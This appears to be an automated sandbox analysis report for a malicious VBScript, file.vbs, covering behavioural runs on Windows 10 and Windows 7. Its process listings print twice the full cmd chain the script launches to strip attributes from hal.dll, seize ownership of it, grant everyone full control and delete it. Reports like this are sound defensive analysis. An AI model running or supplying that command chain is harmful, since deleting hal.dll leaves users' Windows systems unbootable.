Analysis Overview
SHA256
d6d614cf4fabb1147ca3a48ce42dce7441b5f193e9842eda16aca294786d6c1b
Threat Level: Likely malicious
The file file.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Drops file in System32 directory
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:13
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:13
Reported
2024-08-09 20:16
Platform
win10v2004-20240802-en
Max time kernel
138s
Max time network
141s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\hal.dll | C:\Windows\system32\attrib.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1776 wrote to memory of 5052 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 1776 wrote to memory of 5052 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 5052 wrote to memory of 3324 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 5052 wrote to memory of 3324 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 5052 wrote to memory of 4808 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 5052 wrote to memory of 4808 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 5052 wrote to memory of 1792 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 5052 wrote to memory of 1792 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\hal.dll && takeown /f c:\windows\system32\hal.dll && icacls c:\windows\system32\hal.dll /grant everyone:(F) && del /s /q c:\windows\system32\hal.dll
C:\Windows\system32\attrib.exe
attrib -r -s -h c:\windows\system32\hal.dll
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\hal.dll
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\hal.dll /grant everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:13
Reported
2024-08-09 20:16
Platform
win7-20240729-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\windows\system32\hal.dll | C:\Windows\system32\attrib.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\hal.dll && takeown /f c:\windows\system32\hal.dll && icacls c:\windows\system32\hal.dll /grant everyone:(F) && del /s /q c:\windows\system32\hal.dll
C:\Windows\system32\attrib.exe
attrib -r -s -h c:\windows\system32\hal.dll
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\hal.dll
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\hal.dll /grant everyone:(F)